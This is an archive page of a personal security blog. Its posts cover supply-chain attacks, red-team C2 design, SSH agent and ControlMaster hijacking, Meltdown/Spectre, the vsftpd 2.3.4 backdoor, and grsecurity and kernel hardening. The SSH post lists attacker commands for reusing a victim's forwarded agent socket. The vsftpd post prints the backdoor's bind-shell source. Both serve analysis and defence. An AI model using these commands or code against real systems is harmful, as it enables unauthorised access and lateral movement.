xorl %eax, %eax

Archive for the ‘security’ Category

Supply chain attacks, 2018 and the future

leave a comment »

It’s been a while since my last post but I thought that there is some value in this topic… Supply chain attacks are nothing new, they have been around for very long time. What is different though, is the rise of this trend this year outside the common nation-state and cyber-espionage world. Here is a high level overview of what implicit trust connections most organizations have today.



And where it gets even more complicated is that every single instance of the above diagram is also another organization. There are some unforgettable supply-chain attacks such as the RSA SecureID in March 2011 which was later used to comprise many organizations, the MeDoc in June 2017, the NSA hardware backdoors, etc. However, almost all of them were part of cyber-espionage operations, typically from nation-states. Some threat actors are more active than others but overall, it was a nation-state game.

What has changed recently is the rise of the supply-chain attacks outside the cyber-espionage world. We see non-enterprise Linux distributions being targeted such as Gentoo and Arch. Widely used open source projects such as npm modules, Docker images from official public registries, cyber-criminals hacking 3rd parties to eventually attack corporations such as Ticketmaster, backdoored WordPress plugins, browser extensions, and many more examples like these just in 2018.

And the question is, are organizations ready for this type of intrusion? Unfortunately, for the majority of the cases the answer is no. Most organizations implicitly trust what is installed on their devices, what libraries their software utilizes, what browser extensions and tools their employees install and use, etc. How can this be fixed?

The answer is not simple or easy. Everyone likes to say “trust but verify” but to what degree? Some might argue that solutions such as Google’s Titan is the way to go, but most organizations don’t have the resources and capacity to implement this. Should they fall back to the built-in TPM? Identifying all suppliers and doing risk assessments? Detecting anomalies and modifications on 3rd party components? All of them are valid options depending on the organization’s threat model.

But the answer starts with a mindset change. Organizations need to realize and accept that this is a real threat and yes, there are technical and non-technical ways to combat it but it requires conscious effort.

Based on my experience and observations I predict that this will become one of the most popular attack vectors in the near future. The reason is simple. Organizations are focusing more and more improving THEIR security but as we all know for thousands of years, security is as strong as its weakest link. You can have the best security in the world but if you include random JavaScript files without any control from 3rd parties, this is what adversaries will use. Remember this Sun Tzu quote from The Art of War?

In war, the way is to avoid what is strong, and strike at what is weak

So, identify your weak points and don’t limit your view to your organization as a standalone instance. Locate where all the components used are coming from and expand your threat model to cover those as well. As Sun Tzu said, you have to know your enemy, but you also have to know yourself.

If you know the enemy and know yourself,
you need not fear the result of a hundred battles.

If you know yourself but not the enemy,
for every victory gained you will also suffer a defeat.

If you know neither the enemy nor yourself,
you will succumb in every battle.

Written by xorl

July 15, 2018 at 14:20

Posted in security

Multi-stage C&C and Red Teams

leave a comment »

A few days ago I read this excellent analysis by TALOS team and apparently, the most interesting part from a technical perspective is the high-OPSEC multi-stage Command & Control infrastructure which is described by the following diagram from TALOS team’s post.



The idea is that only if the infected system is verified by the first stage C2, it will open a firewall hole on the real/second-stage C&C server to start the communication. On top of that, it using domain fronting to hide behind Cloudflare, a very popular technique.

So, why am I writing this post?
This post is for any red teamers reading this. Most mature red teams are using domain fronting to emulate advanced adversaries, and the notion of multi-stage C&C is not something new. See for example MITRE’s T1104 from the ATT&CK framework that explains a few known APT groups that use this method. However, how many times have you seen a red team actually employing this? I know it is a setup that increases complexity but if you are getting paid to simulate some advanced adversary, do it.

Please read TALOS team’s post and remember, if someone gives you money to simulate what a real APT would do, do it properly. :)

Written by xorl

February 11, 2018 at 17:04

Posted in security

SSH Hijacking for lateral movement

leave a comment »

A few weeks ago I contributed the SSH Hijacking lateral movement technique to MITRE’s ATT&CK framework. In this post I’ll go through the different implementations of this attack that I have come across so far to provide more details around it. Note that by hijacking here we mean that someone abuses the existing sessions without having access to the authentication details. So, without using stolen credentials or private keys.

ControlMaster
SSH’s ControlMaster is a feature which allows multiplexed connections. Performance wise this is great since you only have to authenticate to the target system on the first SSH session and then, depending on the SSH daemon configuration you can open multiple new SSH sessions through the already established connection. This can be tuned on the server side with the following two directives.

MaxSessions
Specifies the maximum number of open sessions permitted per
network connection. The default is 10.

MaxStartups
Specifies the maximum number of concurrent unauthenticated
connections to the SSH daemon. Additional connections will
be dropped until authentication succeeds or the LoginGraceTime
expires for a connection. The default is 10. 

By setting MaxSessions to 1 you can disable ControlMaster/session multiplexing and each new session will require a complete new connection that includes the authentication step. However, if you don’t, then regardless of how strong authentication method you are employing for your users, an attacker only has to get code execution to one of your user’s endpoints and wait for that user to SSH somewhere. The attacker can look for the open connections by inspecting the directory specified by ControlPath directive on the client’s side or just using common tools like netstat. Then, if the attacker attempts to open an SSH session to a host that it is already in the ControlMaster, it will require no authentication or establishing a new connection as it is re-using the existing one. Note that ControlMaster is enabled by default.

Agent Authentication
To reduce friction and make the experience more smooth many organizations employ the use of SSH-agent which is a service that allows authentication via a local socket file. When you connect to a remote system you can choose if you want your ssh-agent to be available there too using the ForwardAgent directive. By forwarding the agent you can move around systems without having to copy keys everywhere or re-authenticating manually. However, this has a downside too. If an attacker has root access on any of the systems from which you have forwarded your agent, he can re-use that socket file to open new SSH sessions with your information. Here is a very brief overview of how this is done.

# Attacker finds the SSHd process of the victim
ps uax|grep sshd

# Attacker looks for the SSH_AUTH_SOCK on victim's environment variables
grep SSH_AUTH_SOCK /proc/<pid>/environ

# Attacker hijack's victim's ssh-agent socket
SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l

# Attacker can login to remote systems as the victim
ssh remote_system -l vicitm

If you are using OpenSSH, you can mitigate this threat by using the AllowAgentForwarding directive to ensure that only the hosts that need it will have it, rather than the entire environment.

In both of those cases, the attacker never had direct access to the authentication details. However, by abusing SSH features an attacker is able to move laterally into the environment without causing a lot of noise. I already gave some native SSH directives that can be used to mitigate this threat but of course, depending on your requirements you might have to come up with something different.

Written by xorl

February 4, 2018 at 18:32

Posted in security

Thoughts on Meltdown & Spectre

leave a comment »

2018 started with some unique low-level exploitation techniques disclosure. People that never cared about processor architecture suddenly explain how speculative execution, advanced side-channel analysis, and cache level works in modern high-performance processors, others confuse the different architecture design flaws, media and software vendors are heavily controlled by big processor manufacturers, Linus accepts patches with up to 30% performance impact without a question, and within that chaos we still miss some crucial details. In this post, I will give my thoughts on the following five domains regarding the Meltdown & Spectre exploitation.

  • Real-world impact
  • The victims/targets
  • Media manipulation
  • Nation-state
  • Mitigations



Real-world impact
For any of the disclosed exploitation methods, there is very limited real-world impact (yes, even for the JavaScript one on browsers with SharedArrayBuffer). The reason for this is that those attacks cannot be easily automated. They are definitely feasible, but they require manual intervention to provide any value to the attacker. Consequently, their use would only be useful on targeted attacks. But even in this case, why would an attacker prefer to read arbitrary memory using this extremely slow technique instead of exploitation a privilege escalation vulnerability and get much faster access to all system resources? One could argue because it is more covert. Well, there are some actual attack use cases and this is my next domain.

The victims/targets
The only real victim that this attack is more valuable than privilege escalation attacks is shared hosting providers. Whether that is virtual machines, containers, or anything similar. Those exploitation techniques break the sole business model of those companies. Huge players like Amazon, Google, Microsoft, etc. are selling exactly what Meltdown & Spectre proved that it doesn’t exist, high quality isolation between shared resources. And that brings us to the next domain.

Media manipulation
All of those big players, including manufacturers such as Intel, AMD, and the rest of the affected vendors, did a first-class crisis management when it comes to managing the reputation impact and press statements. They should probably be giving trainings on how to do this. You would expect that an attack that obliterates your core business selling point would result in massive stock price drops, media chasing the board all over the world, people moving away from those vendors, executives getting fired… Yet, nothing happened. From the business perspective this is a remarkable work of crisis management, but from the consumer perspective this is an alarming level of media manipulation power.

Nation-state
Talking about power, let’s talk about nation-states. Those attacks were not really new. Dave Aitel released this Immunity paper from 2014 that pretty much implements a variant of those exploitation techniques. If we move even further back, we have this paper from 1995 which goes through multiple security flaws of the x86 architecture, including the pre-fetching one. The latter document also contains an interesting sentence in its introduction.

This analysis is being performed under the auspices of the National Security Agency’s Trusted Product Evaluation Program (TPEP).

So, we know that NSA knew about those design flaws for at least 23 years. Realistically speaking, it is safe to assume that they would have tried to exploit them. Recently after the public disclosure of the attack the ShadowBrokers started offering some (allegedly) 0day exploits for those flaws claiming to be part of NSA’s toolkit.



Just to be clear, I totally endorse NSA, or any other nation-state for that matter, not disclosing them. They had already disclosed the research paper so the entire world knew about them (including Intel, AMD, and the rest). A tool that allows you to bypass the false sense of memory isolation a cloud provider offers would be extremely valuable for any offensive security team. It is the companies’ fault that they did not fix it. Nevertheless, it was worth mentioning. And talking about fixing…

Mitigations
There are a few different mitigations being proposed or already implemented. Let’s briefly go through them…

  • On the OS side we have we the KAISER/KPTI implementation which basically separates the kernel and user-space pages requiring TLB flushes (reloading of CR3 register or the use of Process Context Identifier (PCID) where available). Depending on the application, this can have major performance impact but, on the other hand, it also prevents a large number of exploitation techniques that were already used in the wild. So, security wise it is great, but business wise it will require extra funding for scaling for most companies. And guess what? The manufacturers of those processors are not held accountable for this (they should in my opinion as it was a known issue for decades).
  • The other proposed mitigation was the use of LFENCE instruction to literally stop speculative execution on specific code paths. A clever approach which however is hard to implement and deploy in the real world if you don’t want to have massive performance impact.
  • Intel issued a microcode update that also adds some new capabilities. Those are the IBRS (Indirect Branch Restricted Speculation), STITBP (Single Thread Indirect Branch Prediction), and IBPB (Indirect Branch Predictor Barrier). All can be used to control when branch prediction and indirect jumps are allowed. However, it brings another interesting attack vector… If Intel can dynamically reprogram their processors via a UEFI channel, maybe attackers can too. Sounds like an interesting research area now that the updates are out.
  • The last one is to recompile the code with a compiler that adds the concept of “return trampolines” (retpoline) which ensures that indirect near jumps and call instructions are bundled with some details about the target of the branch to avoid the cases of branch target injection attacks of Spectre. Again, good idea but expecting to recompile all binaries using this is not a trivial operation.

As a conclusion, the Meltdown & Spectre exploitation techniques sound like one of the biggest cover-up stories of the infosec community. Known for 20+ years, breaking core business models, nation-states researching them for decades… And yet… No repercussions or even media pressure to any of the involved parties behind them.

Written by xorl

January 10, 2018 at 10:40

Posted in security

vsftpd 2.3.4 Backdoor

with 4 comments

This was a recent discovery by Chris Evans and you can read more details in his blog post available here. Furthermore, you can find information about this incident at The H Open as well as LWN.net websites.

So, the backdoor affects specifically 2.3.4 version of the popular FTP daemon and can be found in str.c file which contains code for handling the string manipulation routines.

int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, &s_curr_line_str, &pos))
  {
    if (str_equal(&s_curr_line_str, p_line_str))
    {
      return 1;
    }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
       vsf_sysutil_extra();
    }
  }
  return 0;
}

Quite obvious. While parsing the received string values, if the string begins with “\x3A\x29” which in ASCII translates to ‘:)’ (a smiley face), it will invoke vsf_sysutil_extra().

This backdoor function was placed in sysdeputil.c file and looks like this:

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1); 
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  { 
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0); 
  } 
}

It simply opens a new TCP socket listening on port 6200 that will spawn a shell when connected to this port.

So, by using the ‘:)’ as username the attackers were able to trigger this backdoor in vsftpd 2.3.4.

Written by xorl

July 5, 2011 at 03:54

Posted in hax, security

GRKERNSEC_KERN_LOCKOUT Active Kernel Exploit Response

leave a comment »

This is a brand new feature of “Address Space Protection” that grsecurity offers. Its configuration option is very clear and it is implemented by adding just two new routines in the existing patch.

config GRKERNSEC_KERN_LOCKOUT
	bool "Active kernel exploit response"
	depends on X86
	help
	  If you say Y here, when a PaX alert is triggered due to suspicious
	  activity in the kernel (from KERNEXEC/UDEREF/USERCOPY)
	  or an OOPs occurs due to bad memory accesses, instead of just
	  terminating the offending process (and potentially allowing
	  a subsequent exploit from the same user), we will take one of two
	  actions:
	   If the user was root, we will panic the system
	   If the user was non-root, we will log the attempt, terminate
	   all processes owned by the user, then prevent them from creating
	   any new processes until the system is restarted
	  This deters repeated kernel exploitation/bruteforcing attempts
	  and is useful for later forensics.

First of all, the ‘user_struct’ at include/linux/sched.h was updated to include two new members that will be used to keep track of the banned users. Here is the code snippet that shows the newly added members.

/*
 * Some day this will be a full-fledged user tracking system..
 */
struct user_struct {
   ...
        struct key *session_keyring;    /* UID's default session keyring */
#endif
 
#if defined(CONFIG_GRKERNSEC_KERN_LOCKOUT) || defined(CONFIG_GRKERNSEC_BRUTE)
	unsigned int banned;
	unsigned long ban_expires;
#endif
   ...
};

Next we can have a look at grsecurity/grsec_sig.c to see the first function which is responsible for handling the banned users.

int gr_process_user_ban(void)
{
#if defined(CONFIG_GRKERNSEC_KERN_LOCKOUT) || defined(CONFIG_GRKERNSEC_BRUTE)
	if (unlikely(current->cred->user->banned)) {
		struct user_struct *user = current->cred->user;
		if (user->ban_expires != ~0UL && time_after_eq(get_seconds(), user->ban_expires)) {
			user->banned = 0;
			user->ban_expires = 0;
			free_uid(user);
		} else
			return -EPERM;
	}
#endif
	return 0;
}

What it does is checking if the user is banned and if this is the case, wait for ‘user->ban_expires’ to reset its status. Of course, this does not apply to users with values of ‘~0UL’ in ‘ban_expires’ variable. Those users will be banned until the system is restarted.

The next routine also located in the same source code file is this one.

void gr_handle_kernel_exploit(void)
{
#ifdef CONFIG_GRKERNSEC_KERN_LOCKOUT
	const struct cred *cred;
	struct task_struct *tsk, *tsk2;
	struct user_struct *user;
	uid_t uid;

	if (in_irq() || in_serving_softirq() || in_nmi())
		panic("grsec: halting the system due to suspicious kernel crash caused in interrupt context");

	uid = current_uid();

	if (uid == 0)
		panic("grsec: halting the system due to suspicious kernel crash caused by root");
	else {
		/* kill all the processes of this user, hold a reference
		   to their creds struct, and prevent them from creating
		   another process until system reset
		*/
		printk(KERN_ALERT "grsec: banning user with uid %u until system restart for suspicious kernel crash\n", uid);
		/* we intentionally leak this ref */
		user = get_uid(current->cred->user);
		if (user) {
			user->banned = 1;
			user->ban_expires = ~0UL;
		}

		read_lock(&tasklist_lock);
		do_each_thread(tsk2, tsk) {
			cred = __task_cred(tsk);
			if (cred->uid == uid)
				gr_fake_force_sig(SIGKILL, tsk);
		} while_each_thread(tsk2, tsk);
		read_unlock(&tasklist_lock);
	}
#endif
}

So, if this is called in the context of an interrupt (IRQ, SoftIRQ or NMI) or the current user is root, it will immediately invoke panic() to halt the system and avoid any possible further exploitation of a kernel vulnerability. In any other case it will log the event and ban that user by updating the ‘user->banned’ and ‘user->ban_expires’ members of the ‘user_struct’ structure. The final ‘while_each_thread’ loop will use gr_fake_force_sig() which is shown below to terminate (by sending kill signal) every task owned by the user who triggered the event.

#ifdef CONFIG_GRKERNSEC
extern int specific_send_sig_info(int sig, struct siginfo *info, struct task_struct *t);

int gr_fake_force_sig(int sig, struct task_struct *t)
{
	unsigned long int flags;
	int ret, blocked, ignored;
	struct k_sigaction *action;

	spin_lock_irqsave(&t->sighand->siglock, flags);
	action = &t->sighand->action[sig-1];
	ignored = action->sa.sa_handler == SIG_IGN;
	blocked = sigismember(&t->blocked, sig);
	if (blocked || ignored) {
		action->sa.sa_handler = SIG_DFL;
		if (blocked) {
			sigdelset(&t->blocked, sig);
			recalc_sigpending_and_wake(t);
		}
	}
	if (action->sa.sa_handler == SIG_DFL)
		t->signal->flags &= ~SIGNAL_UNKILLABLE;
	ret = specific_send_sig_info(sig, SEND_SIG_PRIV, t);

	spin_unlock_irqrestore(&t->sighand->siglock, flags);

	return ret;
}
#endif

This routine will send the requested signal to the process.

So, now to the actual patching, the first patched code is the __kprobes oops_end() routine located at arch/x86/kernel/dumpstack.c file.

void __kprobes oops_end(unsigned long flags, struct pt_regs *regs, int signr)
{
   ...
 	if (panic_on_oops)
 		panic("Fatal exception");

	gr_handle_kernel_exploit();

	do_group_exit(signr);
}

This is triggered at the last step of a kernel OOPS. Consequently, it’s an ideal location to place this protection. Next we have the ‘execve’ routines that are invoked for spawning new processes. Specifically, the compat_do_execve() you see here from fs/compat.c file.

/*
 * compat_do_execve() is mostly a copy of do_execve(), with the exception
 * that it processes 32 bit argv and envp pointers.
 */
int compat_do_execve(char * filename,
        compat_uptr_t __user *argv,
        compat_uptr_t __user *envp,
        struct pt_regs * regs)
{
   ...
 	bprm->interp = filename;
 
	if (gr_process_user_ban()) {
		retval = -EPERM;
		goto out_file;
	}
   ...
out_ret:
        return retval;
}

Which is where it checks if the user is banned. Of course, similar check is also included in the do_execve() system call from fs/exec.c.

/*
 * sys_execve() executes a new program.
 */
int do_execve(const char * filename,
        const char __user *const __user *argv,
        const char __user *const __user *envp,
        struct pt_regs * regs)
{
   ...
 	bprm->interp = filename;
 
	if (gr_process_user_ban()) {
		retval = -EPERM;
		goto out_file;
	}
   ...
out_ret:
        return retval;
}

Finally, the pax_report_usercopy() is updated to handle the possible attacks using the new locking-out feature.

	
void pax_report_usercopy(const void *ptr, unsigned long len, bool to, const char *type)
{
	if (current->signal->curr_ip)
		printk(KERN_ERR "PAX: From %pI4: kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
			&current->signal->curr_ip, to ? "leak" : "overwrite", to ? "from" : "to", ptr, type ? : "unknown", len);
	else
		printk(KERN_ERR "PAX: kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
			to ? "leak" : "overwrite", to ? "from" : "to", ptr, type ? : "unknown", len);

	dump_stack();
	gr_handle_kernel_exploit();
	do_group_exit(SIGKILL);
}

Written by xorl

April 27, 2011 at 22:43

Posted in grsecurity, linux, security

Linux kernel /proc/slabinfo Protection

with 3 comments

Recently, Dan Rosenberg committed this patch to the Linux kernel. The patch affects SLAB and SLUB allocators by changing the permissions of the ‘/proc/slabinfo’ file in slab_proc_init() for SLAB.

static int __init slab_proc_init(void)
{
-	proc_create("slabinfo",S_IWUSR|S_IRUGO,NULL,&proc_slabinfo_operations);
+	proc_create("slabinfo", S_IWUSR|S_IRUSR, NULL,
+		    &proc_slabinfo_operations);
#ifdef CONFIG_DEBUG_SLAB_LEAK

As well as in the equivalent slab_proc_init() for SLUB.

static int __init slab_proc_init(void)
{
-	proc_create("slabinfo", S_IRUGO, NULL, &proc_slabinfo_operations);
+	proc_create("slabinfo", S_IRUSR, NULL, &proc_slabinfo_operations);
 	return 0;
}

The concept behind this is something quite simple which was previously implemented in grsecurity (check out GRKERNSEC_PROC_ADD) by spender. Almost anyone who has ever developed a kernel heap exploit for the Linux kernel knows that using ‘/proc/slabinfo’ you can easily track the status of the SLAB you are corrupting.
This patch limits the reliability of Linux kernel heap exploitation since unprivileged users can no longer read this PROCFS file.

Written by xorl

March 5, 2011 at 14:22

Posted in linux, security